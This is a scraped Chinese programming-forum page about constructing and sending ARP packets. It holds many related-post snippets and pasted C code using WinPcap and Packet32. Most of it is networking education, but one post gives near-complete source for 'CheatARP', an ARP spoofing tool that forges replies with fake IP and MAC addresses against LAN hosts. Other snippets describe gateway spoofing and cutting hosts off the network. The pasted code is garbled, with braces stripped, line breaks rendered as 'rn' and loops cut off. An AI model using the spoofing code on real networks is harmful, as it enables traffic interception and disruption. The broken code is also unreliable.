ARP包模拟 [问题点数:20分,结帖人mrpeterchen]

Bbs1
本版专家分:0
结帖率 96.67%
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs2
本版专家分:357
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs5
本版专家分:2274
Bbs5
本版专家分:2274
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs1
本版专家分:0
Bbs2
本版专家分:214
Bbs1
本版专家分:15
Bbs1
本版专家分:63
Bbs2
本版专家分:187
Bbs1
本版专家分:0
linux Scapy 进行arp数据包详细过程
root@hak:~# scapyWARNING: No route found for IPv6destination :: (no default route?)INFO: Can'timport python ecdsa lib. Disabled certificate manipulation toolsWelcome to Scapy (unknown.version)>>...
封装arp数据包并发送出去所遇到的问题
封装arp数据包并发送的时候遇到了两个问题: 1)当创建套接字时使用了原始套接字:rawfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));但是在执行时       出现rawfd=-1的情况,并且errno=1,执行未允许;原因:没有使用root权限进行执行,只是使用了一个用户权限,所       以创建不了套接字。 2)当使用sendto发送a
Python编程——使用scapy模块进行ARP局域网扫描,获取主机IP和MAC
1. scapy模块 (1)scapy模块的特点: scapy是一个可用于网络嗅探的非常强大的第三方库。主要具有以下几个特点: 1. 可以以交互模式运行(命令行),也可以作为第三方库(写成黑客脚本等); 2. 可以用来做packet嗅探和伪造packet; 3. 已经在内部实现了大量的网络协议,可以用来编写非常灵活的工具; 4. 它可以伪造或者解析多种协议的报文,还具有...
arp包发送及接收以及udp原始套接字编程
arpSend.c为<em>arp包</em>发送事例 arpRecv.c为<em>arp包</em>接受事例 main.c为android平台的接受<em>arp包</em>分析padding字段后对方发送udp原始套接字事例
arp发送和接收处理代码以及udp原始套接字编程
arpSend.c为<em>arp包</em>发送事例 arpRecv.c为<em>arp包</em>接受事例 main.c为android平台的接受<em>arp包</em>分析padding字段后对方发送udp原始套接字事例
CRC校验,ARP协议及ARP抓包
一 CRC校验 (1)是什么 在实际的通信链路中,比特在传输过程中会出现差错,比如说1变成了0,0变成了1.我们把这种现象叫做比特差错。传输错误的比特占所传输比特总数的比率称为误码率(bit error rate).因此,为了保证数据传输的可靠性,计算机在传输数据的时候会进行差错检验,在数据链路层使用较为广泛的就是循环冗余检验(CRC)。 (2)如何算 我们在发送一个数据X的时候,先把数据
基于WINPCAP ARP数据包捕获
基于WINPCAP ARP数据包捕获 有助于做ARP捕获工具
ARP协议以及CRC校验
ARP以及CRC
lwip之ARP协议
ARP缓存表 /***************************************************************************************************************** ARP协议的核心是ARP缓存表,ARP的实质就是对缓存表的建立、更新、查询等操作 lwip通过数组的方式来创建缓存表    struct etharp
原始套接字发送ARP数据包
什么是ARP协议 &nbsp;&nbsp;&nbsp;&nbsp;ARP协议是Address Resolution Protocol(地址解析协议)的缩写。在局域网中,网络中实际传输的是数据帧,数据帧里面有目的主机的MAC地址。但这个目的MAC地址是如何获取的呢?就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送数据帧之前将目标IP地址转化成目标MAC地址的过程。ARP协议的基本功能就是通...
发包工具anysend
一个不错发包工具,支持IPv4,ipv6,ARP等常见的协议报文,可以修改IP地址,MAC ,报文长度,发包个数等
arp数据包的捕获实验报告
观察ARP缓存的现实,分析IRIS软件捕获的数据包
ARP报文发送 VS2010和MFC
基于WinpCap的开源函数应用,在VS2010中用MFC界面,实现ARP报文的发送。
libnet libpcap ettercap 发送arp包
linux下 链路层 编程 libnet libpcap ettercap 发送<em>arp包</em> <em>arp包</em> 下载地址:http://www.pudn.com/downloads208/sourcecode/unix_linux/network/detail978703.html
每秒过万的IP扫描工具
每秒过W的端口扫描工具,支持多端口扫描。端口可自行修改.
接收ARP请求并解析
接收ARP请求并解析 计算机网络 C语言实现
截获对方发送的arp包,并解释相关内容
任务1:截获对方发送的<em>arp包</em>,并解释相关内容 任务2:构造<em>arp包</em>,并发送 任务3:截获IP数据报,并分析 任务4:测试路径MTU
ARP协议
一.arp协议的由来 计算机通信基本靠吼,即广播的方式,所有上层的包到最后都要封装上以太网头,然后通过以太网协议发送.由于通信是基于mac的广播方式实现,计算机在发包时,获取自身的mac是容易的,如何获取目标主机的mac,就需要通过arp协议. 二.arp协议功能 广播的方式发送数据包,获取主机的mac地址. 三.协议工作方式 每台主机ip都是已知的 例如:192.168.1...
基于MFC的ARP发送
应用WIncap对ARP包进行封装,发送
检测ip是否冲突
检测IP是否冲突,发送<em>arp包</em>
网络编程---以太网头 IP头 ARP包结构体封装及常用自定义网络转换函数(已测试)
以下的结构体在实际工程中经过了测试是可以的,自定义函数也经过了测试,到目前为止没有出现问题。// --------------------------------------------- // TCP/IP基础结构体和通用函数 // --------------------------------------------- #ifndef TCPIPCOMMON_H #define TCPIPCO
深入抓包分析ARP协议
ARP抓包分析 首先,了解ARP报文格式: 字段 1 2 3 4 5 6 7 8 9 10 11 12 ...
UDP sendto与ARP的一个现象
环境windows7 现象: 1、ping命令;为什么ping有的机器显示"无法访问目标主机",有的显示"请求超时" 2、UDP 阻塞socket,局域网主机A, 往主机B和主机C同时发一个1400字节的udp包;发往主机B的不阻塞,C的阻塞约3秒; 3、UDP 阻塞socket,局域网主机A,往主机B发送一个1400字节的包,和一个400字节的包,前者阻塞,后者不阻塞;
Linux--ARP协议与CRC校验
arp协议地址解析协议(Address Resolution Protocol), 是根据IP地址获取目标主机的一个MAC地址的TCP/IP协议。通信前提两台主机要进行通信,那么首先要知道对方的MAC地址,但是怎么才能知道堆放的MAC呢?这里就要用到我们的ARP协议了。主机发送信息的时候将包含目标主机IP的ARP请求通过广播发送到网络上的所有的主机,等待接受到返回信息,收到返回信息后将IP和mac地
Windows下使用winpcap-2.2arp探测局域网内主机(接收并解析arp数据包)
上篇文章我们成功发送了arp请求,这里我们就需要等待并看看能不能收到来自我们需探测ip的arp回复,如果收到,则该主机为活动的,因为这个等待arp返回需要等待一段时间,这里我之间写出来,实际用的时候,你们需要写成线程,并在发送arp请求之前调用。 定义需要的变量 pcap_if_t * alldevs; pcap_if_t *d; pcap_t * adhandle;//定义包捕捉句柄
Ettercap-arp协议-链路层编程
linux下 链路层 编程 libnet libpcap ettercap 发送<em>arp包</em> 附加讲解
我的抓包记录 --ARP
一:实验平台 windows10 + wireshark 二: 抓包前的准备 ①首先要了解ARP包的结构 ②使用 arp -d * 删除主机上的arp缓冲(要用管理员的权限才行) ③开始干活吧。 抓包 第一个ARP包 ① Hardward type 是1 代表用的是以太网 ② Protocol type 是0x0800,代表用的是ipv4 ③ Hardware size是6,因为MAC地址...
本程序分为两个子程序,分别是arpsrc ,arptarget ;arpsrc用来模拟一台主机用来发送一个ARP的询问包,arptarget用来模拟接受ARP包的主机,对不同的ARP询问包进行处理
本程序分为两个子程序,分别是arpsrc ,arptarget ;arpsrc用来<em>模拟</em>一台主机用来发送一个ARP的询问包,arptarget用来<em>模拟</em>接受ARP包的主机,对不同的ARP询问包进行处理
ARP报文抓包解析学习
ARP:地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。 以太网中ARP报文格式: <em>模拟</em>环境如下: ARP环境<em>模拟</em>抓包: 1、使用华为ENSP工具<em>模拟</em>如上环境,开启设备并配置PC端的IP地址; 2、使用wireshark抓包工具,抓取交换机S5700的0/0/1端口的数据流; 3、在PC1上ping...
使用netfilter框架处理ARP报文
内核开发交流群 745510310 欢迎加入学习利用netfilter的框架实现对arp报文的处理,这里只是打印arp报文信息,更多的处理可以在此基础上实现。arp 首部封装格式:内核版本 :,不同版本内核头文件可能不一样带来编译出错问题,可以参考这篇博客https://blog.csdn.net/fuyuande/article/details/79429441 更新一下内核。源码如下:/* ...
ARP报文抓包
arp报文抓包分析,从报文分析中可详细了解到实际场景中的报文流向及内容。
轻量级TCP/IP实现包Lwip之ARP
Lwip主要函数调用关系图 ARP(Adrress ResolutionProtocol,地址解析协议),属于TCPIP协议族网络互联层协议,主要负责网络接口层与IP层之间地址映射和转换,因为协议是分层,各层都有自己的任务和算法。比如在以太网中,主要是解决的局域网通信问题,在网络中主机较少的情况,采用广播的方式就可以解决,但是当局域网主机较多的情况下,这种广播式通信就会因为共用介质的问题造成部分
WinPcap实战(二)——接收ARP包
ARP帧结构ARP帧结构(28B):硬件类型(2B,Ethernet:0x1)——上层协议类型(2B,IP:0x0800)——硬件地址长度(1B,0x6)——IP地址长度(1B,0x4)——操作(2B,请求: 0x1; 应答: 0x2)——源MAC地址(6B)——源IP地址(6B)——目的MAC地址(6B)——目的IP地址(6B)依据ARP帧结构定义结构体struct ArpHeader {
ARP协议分析实验
ARP实验分析,掌握ARP协议工作原理,理解ip分组在以太网上的传输方法。。。
发送ARP包 发现活动主机
发送ARP包 发现活动主机 ARP解析 vs2008 Winpcap开发
Python利用scapy实现ARP欺骗
一、实验原理。        本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型 arp = ARP(hws...
Linux-ARP请求C程序
2017.06.21更新了。问题解决了
c++编写的arp程序
c++编写的arp程序,……………………………………………………………………
在VC下使用winpcap抓arp包
一个简单的MFC程序, 利用winpcap来抓<em>arp包</em>,并且利用它得到对方的MAC地址
ARP攻击和防火墙
用C#编写,简单发送ARP包的小工具.使用了wincap,详细内容可以见我的博客
构造ARP协议(上)
       拿TCP帧来说,构造一帧网络数据的时候,应用层的原始数据,被不同的层封装,最后发到网络上。        从层的角度来看,TCP和UDP都是工作在运输层的,而ARP是工作在数据链路层的。即ARP在构造数据的时候,是从数据链路层开始的,所以一个完整的arp协议是不包含IP头的,更不可能包含TCP,UDP头。        从协议上来看,ARP和TCP,UDP相同的地方,只有...
ARP数据包的解析
编程实现ARP数据包的解析,C语言编程。也可用wireshark捕获数据包~
linux 下C++实现 ARP发布,和ARP监听
linux 下C++实现 ARP发布,和ARP监听
抓取ARP包TCP/IP协议
通过TCP/IP协议抓取ARP包并分析,输出形式为16进制
急,关于抓取ARP包
typedef struct tagDLCHeader rn rn unsigned char DesMAC[6]; rn unsigned char SrcMAC[6]; rn unsigned short Ethertype; rn DLCHEADER, *PDLCHEADER; rn rn // ARP Frame rn typedef struct tagARPFrame rn rn unsigned short HW_Type; rn unsigned short Prot_Type; rn unsigned char HW_Addr_Len; rn unsigned char Prot_Addr_Len; rn unsigned short Opcode; rn unsigned char Send_HW_Addr[6]; rn unsigned long Send_Prot_Addr; rn unsigned char Targ_HW_Addr[6]; rn unsigned long Targ_Prot_Addr; rn rn ARPFRAME, *PARPFRAME; rn rn // ARP Packet = DLC header + ARP Frame rn typedef struct tagARPPacket rn rn DLCHEADER dlcHeader; rn ARPFRAME arpFrame; rn ARPPACKET, *PARPPACKET; rnrnrnrn我根据要求定义上面的结构,rnrn然后抓包rnrecv(RawSocket,RecBuf,Max,0);rnrn定义一个ARP包对象:ARPPACKET ARPPack;rnrn把受到的数据RevBuf赋值给ARPPackrnmemcpy(&ARPPack,a,Max);//Max=42rnrn然后我就检查ARPPack.dlcHeader.Ethertype==htons(0x0806)rn看是否是ARP包。但是程序在局域网里跑了N久,但ARPPack.dlcHeader.Ethertype总是不等于htons(0x0806)。rn rn我实在学校里做的,有很多台电脑,ARP包应该很多才对啊。rn不解!!!!!!!rn
arp包问题
#define WIN32rn#define HAVE_REMOTErn#include rn#include "winsock2.h"rn#include "pcap.h"rn#include "Packet32.h"rn#pragma comment(lib, "ws2_32.lib")rnrntypedef struct DLCHEADERrnrnunsigned char eth_addr_des[6];//以太网目的地址rnunsigned char eth_addr_src[6];//以太网源地址rnunsigned short frame_type; //帧类型rnDlcHeader;rnrntypedef struct ARPFRAMErnrnunsigned short hwtype; //硬件类型rnunsigned short protrol_type; //协议类型rnunsigned char hw_length; //硬件地址长度rnunsigned char pro_length; //协议地址长度 rnunsigned short op; //ARP包类型;rnunsigned char mac_src[6];//发送端以太网地址rnunsigned long ip_src; //发送端IP地址rnunsigned char mac_des[6];//目的以太网地址rnunsigned long ip_des; //目的IP地址rnunsigned char pading[18]; //填充位rnArpFrame;rnrntypedef struct ARPPACKETrnrnDlcHeader arp_header;rnArpFrame arp_frame;rnArpPacket;rnrn/****************************************************************************rn* Name & Params::rn* formatStrToMACrn* (rn* const LPSTR lpHWAddrStr : 用户输入的MAC地址字符串rn* unsigned char *HWAddr : 返回的MAC地址字符串(赋给数据包结构体)rn* )rn* Purpose:rn* 将用户输入的MAC地址字符转成数据包结构体需要的格式rn****************************************************************************/rnvoid formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)rnrn unsigned int i, index = 0, value, temp;rn unsigned char c;rn _strlwr(lpHWAddrStr); // 转换成小写rn for (i = 0; i < strlen(lpHWAddrStr); i++)rn rn c = *(lpHWAddrStr + i);rn if (( c>='0' && c='a' && c='0' && c='a' && carp_header.eth_addr_src);rnformatStrToMAC("ffffffffffff",APbuf->arp_header.eth_addr_des);rnAPbuf->arp_header.frame_type=htons((u_short)0x0806);rnAPbuf->arp_frame.hwtype=htons((u_short)1);//以太网类型rnAPbuf->arp_frame.protrol_type=htons((u_short)0x0800);rnAPbuf->arp_frame.hw_length=(u_char)6;rnAPbuf->arp_frame.pro_length=(u_char)4;rnAPbuf->arp_frame.op=htons((u_short)0x0001);rnformatStrToMAC("00e0524ca312",APbuf->arp_frame.mac_src);rnAPbuf->arp_frame.ip_src=inet_addr("202.192.165.169");rnformatStrToMAC("ffffffffffff",APbuf->arp_frame.mac_des);rnAPbuf->arp_frame.ip_des=inet_addr("202.192.165.199");rnfor(i=0;iarp_frame.pading[i]=i;rnrnrnrnrnrnrnrnint main()rnrnpcap_if_t *alldevs;rnpcap_if_t *d;rnint inum;rnint i=0;rnpcap_t *adhandle;rnchar errbuf[PCAP_ERRBUF_SIZE];rnint ret=-1;rnint MaxPacketLen=100;rnArpPacket *pbuf;rnu_char *pBuf;rn rn /* 获取本机网络设备列表*/rnif (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, rn&alldevs, errbuf) == -1)rn rn fprintf(stderr,rn"Error in pcap_findalldevs: %s\n", errbuf);rn exit(1);rn rn rn /* 打印网络设备列表*/rn for(d=alldevs; d; d=d->next)rn rn printf("%d. %s", ++i, d->name);rn if (d->description)rn printf(" (%s)\n", d->description);rn elsern printf(" (No description available)\n");rn rn rn if(i==0)rn rn printf("\nNo interfaces found! Make sure WinPcap is installed.\n");rn return -1;rn rnrn /*选择网络设备接口*/rn printf("Enter the interface number (1-%d):",i);rn scanf("%d", &inum);rn rn if(inum < 1 || inum > i)rn rn printf("\nInterface number out of range.\n");rn /* 释放设备列表*/rn pcap_freealldevs(alldevs);rn return -1;rn rn rn /* 跳转到选中的适配器*/rn for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);rn rn /* 打开设备*/rnif ( (adhandle= pcap_open(d->name, 65536, rnPCAP_OPENFLAG_PROMISCUOUS, 1000, NULL,errbuf) ) rn== NULL)rn rn fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);rn /* 释放设备列表*/rn pcap_freealldevs(alldevs);rn return -1;rn rnrn /*在选中的设备接口上监听数据*/rn printf("\nlistening on %s...\n", d->description);rn rnrn pbuf=(ArpPacket *)malloc(sizeof(ArpPacket));rnGenArpPacket(pbuf);rnif ( (ret=pcap_sendpacket(adhandle,pbuf,sizeof(ArpPacket)))rn!=0)rnrnprintf("发送失败\n");rnpcap_close(adhandle);rn pcap_freealldevs(alldevs);rn return -1;rnrnelsernprintf("发送成功\n");rnrnrn/*释放资源*/rnfree(pbuf);rnpcap_close(adhandle);rnpcap_freealldevs(alldevs);rn rn getch();rnrnrn请高手们看看有没有错,程序是可以运行的,而且还显示到发送成功,但我用WireShark捕获时却捕获不到,通过指定IP地址和ARP协议为条件进行捕获的,我现在不知道是程序错误还是捕获那方面出错啊!!!!!郁闷
请教关于ARP包的发送
请问:在Windows下,不使用WinPcap,怎样发送特定的Arp包,SendARP这个函数只能发Arp广播包。
Qt-WinPcap发送和接收Arp包
本程序是使用Winpcap技术,实现Arp数据包的发送和接收,获得局域网内的所有在线设备的IP和Mac地址。代码也是在网上找的,自己稍作修改,组织成一个类,可以直接实例化并调用。环境搭建,代码里面都有,如果有不明白的,可以交流。V:Qt5.5.0
arp报文发送可视化(MFC+VS2010)
vs2010+MFC,可以运行,附加实验报告
c 抓包程序(老师写的
c 抓包程序(老师写的) 这次的程序写的很好。TCP。IP, UDP, ARP包
arp欺骗小工具,C++编写
自己编写的C++小程序,输入源主机、目的主机MAC和IP地址伪造ARP包进行欺骗
jpcap发送各种抱文的例子
jpcap发送各种抱文的例子 ARP包 tcp UDP traceroute ReadDump ICMP
捕获数据包
详细的讲解了ARP包的原理及应用,详细的分析、以及编码步骤,另外附上带有详细注释的源码
发送ARP包的问题
接受方的MAC必须写为FFFFFFFF吗?为什么我写成其它就无效了??
原始socket实现局域网ARP欺骗
本文参考了http://blog.chinaunix.net/uid-23069658-id-3280895.html, wjlkoorey258大神的文章,感谢ARPwjlkoorey258,欺骗的原理其实很简单,在局域网中,各个主机之间的通信是通过MACA地址识别的,比如: 主机A要给B主机发送数据,主机A将封装好了后的数据包的物理链路层里面的targetMAC地址写入B的MAC地址,这样B
在线求解arp包发送
1---我想找一个<em>arp包</em>发送的源程序用wpcap的pcap_sendpacket() 函数来发送的啊 不知谁有啊rn2---我看见网上有用PacketSendPacket这个函数发送源程序但是在选择设备的地方有问题啊 发送不成功 谁能帮我看看 谢谢啊  以上两个问题rn/*rnARP 发包rn*/rnrnrnrn#include "stdio.h"rn#include "Packet32.h"rn#include "wchar.h"rnrn#define EPT_IP 0x0800 /* type: IP */rn#define EPT_ARP 0x0806 /* type: ARP */rn#define EPT_RARP 0x8035 /* type: RARP */rn#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */rn#define ARP_REQUEST 0x0001 /* ARP request */rn#define ARP_REPLY 0x0002 /* ARP reply */rnrnrnrn#pragma comment(lib, "packet.lib")rn#pragma comment(lib, "ws2_32.lib")rn#pragma pack(push, 1)rnrnrnrn//定义一个以太网头部rntypedef struct ehhdrrnrn UCHAR eh_dst[6]; /* destination ethernet addrress */rn UCHAR eh_src[6]; /* source ethernet addresss */rn USHORT eh_type; /* ethernet pachet type */rnEHHEADR, *PEHHEADR;rnrn//定义一个28字节的arp应答/请求rntypedef struct arphdrrnrn USHORT arp_hrd; /* format of hardware address */rn USHORT arp_pro; /* format of protocol address */rn UCHAR arp_hln; /* length of hardware address */rn UCHAR arp_pln; /* length of protocol address */rn USHORT arp_op; /* ARP/RARP operation */rn UCHAR arp_sha[6]; /* sender hardware address */rn ULONG arp_spa; /* sender protocol address */rn UCHAR arp_tha[6]; /* target hardware address */rn ULONG arp_tpa; /* target protocol address */rnARPHEADR, *PARPHEADR;rnrn//把上面定义的两种结构封装起来rntypedef struct arpPacketrnrn EHHEADR ehhdr;rn ARPHEADR arphdr;rn ARPPACKET, *PARPPACKET;rnrn#pragma pack(pop)rnrnvoid Usage();rnvoid ChangeMacAddr(char *p, UCHAR a[]); rnvoid banner();rnrnint main(int argc, char* argv[])rnrn static CHAR AdapterList[10][1024]; rn TCHAR szPacketBuf[512];rn UCHAR MacAddr[6];rn LPADAPTER lpAdapter;rn LPPACKET lpPacket;rn WCHAR AdapterName[2048];rn WCHAR *temp,*temp1;rn ARPPACKET ARPPacket;rn ULONG AdapterLength = 1024;rn DWORD AdapterNum = 0;rn DWORD nRetCode, i;rnrn banner(); rn if(argc!=5)rn rn Usage();rn return 0;rn rn //取得所有适配器的名字.rn if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)rn rn //AdapterName:一块用户负责分配的缓冲区,将把适配器的名字填充进去,rn //一串用一个Unicode的"\0"分隔的Unicode字符串,每一个都是一个网卡的名字rn //AdapterLength:这块缓冲区的大小rn printf("Unable to retrieve the list of the adapters!\n");rn return 0;rn rn rn temp = AdapterName;rn temp1=AdapterName;rn i = 1;rn //把AdapterName中的适配器,分个copy到AdapterList[]中,i从1开始为第一个rn while ((*temp != '\0')||(*(temp-1) != '\0'))rn rn if (*temp == '\0')rn rn memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR));rn temp1=temp+1;rn i++;rn rn temp++;rn rn AdapterNum = i;rn for (i = 0; i < AdapterNum; i++)rn wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);rnrn /* 注意,在这里一定要选择正确的适配器不然会自动重起 */rn /* 我机器上的是 */rn /* 1- \Device\NPF_NdisWanIp */rn /* 2- \Device\NPF_02C36709-5318-4861-86DE-A7A81118BFCC */rn /* 选择类似第2项的那种 一定要注意哦! */ rn rn printf("\nPlease select adapter number:");rn scanf("%d",&i); //我是输入的2 rn if(i>AdapterNum)rn rn printf("\nInput Number error!");rn return 0;rn rnrn //打开刚刚选择的那个适配器,AdapterList[i-1]为适配器名字rn //如果打开成功,返回一个指针,它指向一个正确初始化了的ADAPTER Object。否则,返回NULL。rn lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]); rn if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))rn rn nRetCode = GetLastError();rn printf("Unable to open the driver, Error Code : %lx\n", nRetCode);rn return 0;rn rnrn //为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。rn lpPacket = PacketAllocatePacket();rn if(lpPacket == NULL)rn rn printf("\nError:failed to allocate the LPPACKET structure.");rn return 0;rn rn rn memset(szPacketBuf, 0, sizeof(szPacketBuf)); //初始化szPacketBuf为0rn ChangeMacAddr(argv[2], MacAddr); //MAC地址转换rn memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //目的MAC地址rn rn ChangeMacAddr(argv[4], MacAddr); //MAC地址转换rn memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //源MAC地址。rn rn ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答rn ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址rn ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址rn //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,rn //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。rn ARPPacket.arphdr.arp_hln = 6; rn ARPPacket.arphdr.arp_pln = 4;rn ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4rnrn ChangeMacAddr(argv[4], MacAddr); //MAC地址转换rn memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的MAC地址rn ARPPacket.arphdr.arp_spa = inet_addr(argv[3]); //伪造的IP地址rnrn ChangeMacAddr(argv[2], MacAddr); //MAC地址转换rn memset(ARPPacket.arphdr.arp_tha,0,6); //初始化0rn memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标的MAC地址 rn ARPPacket.arphdr.arp_tpa = inet_addr(argv[1]); //目标的IP地址rn rn //把刚刚自己伪造的ARPPACKET结构复制到szPacketBuf中rn memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));rn rn //初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的szPacketBuf指针。rn //lpPacket,指向一个_PACKET结构的指针。rn //szPacketBuf,一个指向一块用户分配的缓冲区的指针。rn //60,缓冲区的大小。这是一个读操作从driver传递到应用的最大数据量。rn PacketInitPacket(lpPacket, szPacketBuf, 60);rn rn //设置发送次数2次rn if(PacketSetNumWrites(lpAdapter, 2)==FALSE)rn rn printf("warning: Unable to send more than one packet in a single write!\n");rn rn //发送刚刚伪造的数据包rn if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)rn rn printf("Error sending the packets!\n");rn return 0;rn rn printf ("Send ok!\n");rn PacketFreePacket(lpPacket); //释放_PACKET结构rn PacketCloseAdapter(lpAdapter); //关闭适配器rn return 0;rnrnrnvoid Usage()rnrn printf("使用说明:CheatARP \n");rn printf("例如:\n");rn printf("CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042\n");rn printf("CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA\n");rnrnrn//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址rnvoid ChangeMacAddr(char *p, UCHAR a[])rnrn char* p1=NULL;rn int i=0;rn int high ,low;rn char temp[1];rn for (i=0; i);rn
如何发ARP包?
大家好,我想通过想局域网内发送ARP包来获取所有主机的IP地址?请问如何发送ARP包?在windows平台上rn给个思路或者代码 谢谢
使用Jpcap发送ARP以及ICMP请求
使用Jpcap发送ARP以及ICMP请求 一、实验过程 首先获取本地的网卡以及IP信息 输入当前网关的地址,在这个拓扑图中也就是172.17.5.1 程序封装ARP请求,向网关发送ARP请求 抓取ARP相应的包,过滤之后获得网关的MAC地址 输入要PING的目的IP,即172.16.5.7 抓取ICMP相应的包,过滤之后输出ECHO和REPLY的包 PS:特别注意 在ARP的发...
wireshark分析ARP协议
通过以太网发送IP数据包,需要先封装32位的IP地址和48位的MAC地址。由于发送数据包时仅仅知道目标IP地址,不指定对方MAC地址,就需要接着ARP协议通过IP地址去询问目标的MAC地址,才可以正常通信。 1、 PC1想发送数据到PC2,首先检测本地缓存ARP缓存表和PC2IP匹配的MAC。 2、如果没有找到此条目,那么PC1将广播一个ARP请求帧到本地网络的所有主机。本地网络上每台主机
用MFC发送ARP包
我已经获得了本机的IP和MAC地址,剩下的问题就是发包,请问我应该以什么样的格式发出去啊?MFC中如何定义一个结构体全局变量啊?我知道要用Winpcap具体怎样用啊?rnrn
ARP包怎么填?
该怎么填才能让目标机器断开与其它机器的连接?rn我向自己发送假的网关MAC地址会让自己断开与互联网的连接,rn但是不会断开与局域网里其它机器的连接rntypedef struct arphdr //arp头 rn rnunsigned short arp_hdr; // 硬件类型 Ethernet 0x0001 rnunsigned short arp_pro; // 协议类型,IP,0x0800 rnunsigned char arp_hln; // 硬件地址长度,mac地址长度 rnunsigned char arp_pln; // 协议地址长度,ip地址长度 rnunsigned short arp_opt; // [ request | reply| response ] rnunsigned char arp_sha[MAC_ADDR_LEN]; // 发送端以太网地址 rnunsigned long arp_spa; // 发送端ip地址 rnunsigned char arp_tha[MAC_ADDR_LEN]; // 接收端以太网地址 rnunsigned long arp_tpa; // 接收端ip地址 rn ARP_t, *pARP_t;rn
Windows 下如何收发ARP包?
在Windows下不使用第三方工具包如WinPcap之类的,只使用Windows提供的API能不能实现如自定义ARP包的收发,拦截,多个应用程序监听同个端口等功能?
ARP包(监听、嗅探)
哪位朋友帮忙把以下代码转成DELPHI版本:rnrnrnrn作者:rnCSDN VC/MFC 网络编程 PiggyXP ^_^rn rn 目录: rn二。发送数据包的编程实现rn 1. 填充数据包rn 2. 发送数据包rn三。一些附加步骤及说明rn 1. 如果在VC中使用winpcaprn 2. 获得网卡信息列表rn 3. 获得系统ARP信息列表rn rn ................紧接上文................rn rn1. 填充数据包rn rn下面我举个填充包头的例子,我首先定义个了一个转换字符的函数,如下rn rn/****************************************************************************rn * Name & Params::rn * formatStrToMACrn * (rn * const LPSTR lpHWAddrStr : 用户输入的MAC地址字符串rn * unsigned char *HWAddr : 返回的MAC地址字符串(赋给数据包结构体)rn * )rn * Purpose:rn * 将用户输入的MAC地址字符转成数据包结构体需要的格式rn ****************************************************************************/rnvoid formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)rnrn unsigned int i, index = 0, value, temp;rn unsigned char c;rn rn _strlwr(lpHWAddrStr); // 转换成小写rn rn for (i = 0; i < strlen(lpHWAddrStr); i++)rn rn c = *(lpHWAddrStr + i);rn if (( c>='0' && c='a' && c='0' && c='a' && c)了。
ARP协议深入解析实例-伪造ARP.pdf
此文详细介绍了ARP报文的结构,发送ARP包的过程,对初学者很有用
基于wincap的抓包工具
可以抓取ip,<em>arp包</em>,设置不同过滤器,可以抓不同包,基于wincap。
在MFC中ARP包的解析实例,包含相关文档
在MFC中ARP包的解析实例,包含相关文档,在vc6下编译通过。
ARP协议获得局域网内活动主机物理地址程序
通过分析ARP包来获得局域网内主机的mac地址等信息
arp包的控制问题
目的:rn 在网关机器上运行该程序可以使任何一台机器上不去网,rn 又可以在任何时间让他恢复上网rn问题:rn 如何实现这种发很多<em>arp包</em>的问题?rn 如何又让他可以上网?rn
50分:发送arp包的问题
我用packet.dll的函数实现构造自己的ARP包rn我定义了一个结构,里面定义了unsigned char mac[6]的数祖用于存放mac地址rn假设我的mac地址假设为56-34-21-ab-23-11rn那么直接memcpy((char 8)mac,"56-34-21-ab-23-11",6),可以吗rn我听说要经过一个转换,但是我不知道,有人知道吗
linux下发arp包
今天写了个arp的发包程序,其功能是把目的网卡填充为ff:ff:ff:ff:ff:fe来检测是否有嗅探rn程序实在linux下运行的rn结果是1:能够检测到在windows下运行的嗅探软件,rn 2:linux下运行的嗅探软件却检测不出来,结果是发现即使没开嗅探软件,rn 我还是能收到他给我的回包,然后我把目的网卡地址改成全零,发现还是rn 那种情况。rnrn各位大虾请帮我弄清楚这是怎么回事啊rn小弟不胜感激。。。。。
这个ARP包有没有写错?
